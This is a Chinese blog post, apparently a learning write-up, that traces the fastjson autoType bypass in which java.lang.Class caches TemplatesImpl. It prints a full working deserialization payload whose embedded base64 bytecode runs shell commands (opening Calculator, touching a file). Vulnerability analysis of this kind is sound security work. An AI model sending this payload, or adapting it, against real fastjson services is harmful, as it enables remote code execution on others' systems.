我司的业务很少用到java所以之前这个漏洞爆出的时候并没有分析,最近想学一下java安全所以也顺便填一下这个坑。
查看 PaserConfig.checkAutoType
方法,此方法主要实现类型检验:
typeName的长度介于128与3之间会运行一系列的哈希计算,计算出哈希之后开始判断autoType
这里我们可以看到当autoType开启时fastjson会判断这个哈希是否在 denyHashCodes
中,如果在就会报错。因此也有人fuzz得到了一些黑名单中的类 https://github.com/LeadroyaL/fastjson-blacklist。
如果autoType没有开启fastjson则会进行如下判断
从TypeUtils的缓存中寻找该类,或者从反序列化表也即白名单中寻找该类。这次的漏洞便是处在TypeUtils建立的缓存中。
这次我是用的payload是 templateImpl
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"
},
"b":{
"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes":["yv66vgAAADMAOQoACQApCgAqACsIACwKACoALQcALgoABQApCAAvBwAwBwAxAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABVMSmF2YVVuc2VyL1NoZWxsRXhlYzsBAApFeGNlcHRpb25zBwAyAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAzAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXQBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUHADABAApTb3VyY2VGaWxlAQAOU2hlbGxFeGVjLmphdmEMAAoACwcANAwANQA2AQASb3BlbiAtYSBDYWxjdWxhdG9yDAA3ADgBABNKYXZhVW5zZXIvU2hlbGxFeGVjAQARdG91Y2ggL3RtcC9uaW1hZGUBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAJAAAAAAAFAAEACgALAAIADAAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgANAAAADgADAAAAEwAEABQADQAVAA4AAAAMAAEAAAAOAA8AEAAAABEAAAAEAAEAEgABABMAFAABAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAAGAAOAAAAKgAEAAAAAQAPABAAAAAAAAEAFQAWAAEAAAABABcAGAACAAAAAQAZABoAAwABABMAGwACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAAGwAOAAAAIAADAAAAAQAPABAAAAAAAAEAFQAWAAEAAAABABwAHQACABEAAAAEAAEAHgAJAB8AIAACAAwAAABBAAIAAgAAAAm7AAVZtwAGTLEAAAACAA0AAAAKAAIAAAAeAAgAHwAOAAAAFgACAAAACQAhACIAAAAIAAEAIwAQAAEAEQAAAAQAAQAIAAgAJAALAAEADAAAAE8AAgABAAAADrgAAhIHtgAEV6cABEuxAAEAAAAJAAwACAADAA0AAAASAAQAAAAOAAkAEQAMAA8ADQASAA4AAAACAAAAJQAAAAcAAkwHACYAAAEAJwAAAAIAKA=="],
"_name":"a.b",
"_tfactory":{ },
"_outputProperties":{ },
"_name":"a",
"_version":"1.0",
"allowedProtocols":"all"
}
IDEA启动调试看一下为什么这个payload能绕过autoType限制。
反序列化流程的主要出发点在
我们跟进 DefaultJSONParser.parse
方法,开始是很多的lexer解析相关的操作。直接跳到对key为 @type
的处理
这里走到了我们之前提到的checkAutoType的操作,此时我们的类型为 java.lang.Class
,跟进checkAutoType分析,首先会进入 TypeUtils.getClassFromMapping
中看此类是否存在于我们的缓存类中。我们可以下断点看一下缓存类中都有哪些东西
这个map中并没有我们想要的 java.lang.Class
,且此时也没有我们想要的 templatesImpl
类。
继续跟进可以看到 java.lang.Class
正在 ParseConfig.deserializers
中
因此我们可以直接得到我们该类型。
获取类型后继续跟进可以看到会用 java.lang.Class
的反序列化器即 MiscCodec
来反序列化 java.lang.Class
类。
跟进反序列化过程,又是一段很长的编译原理相关的lexer解析过程。解析出来 val
的键 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
之后便进行类的反序列化过程,在判断了是否为一些类之后进入如下分支
进入 TypeUtils.loadClass
方法,可以看到这次会通过classLoader生成类后把 TemplatesImpl
放到缓存map中
我们想要的类已经进入了mapping。
之后序列化 b
时mapping中存在 TemplatesImpl
类可以返回我们的TemplatesImpl类了,一切操作便像之前的反序列化漏洞相同了,通过 JavaBeanDeserializer.deserialze
来调用TemplatesImpl类的setXXX方法来RCE.可以参考 http://hexo.imagemlt.xyz/post/java-unserialize-learning-3/index.html
.
最后放个弹计算器的图片来结束这篇文章。web安全虽然入门容易,但是要成为跟orange等大牛一样厉害的国际大黑客还是需要学很多很多。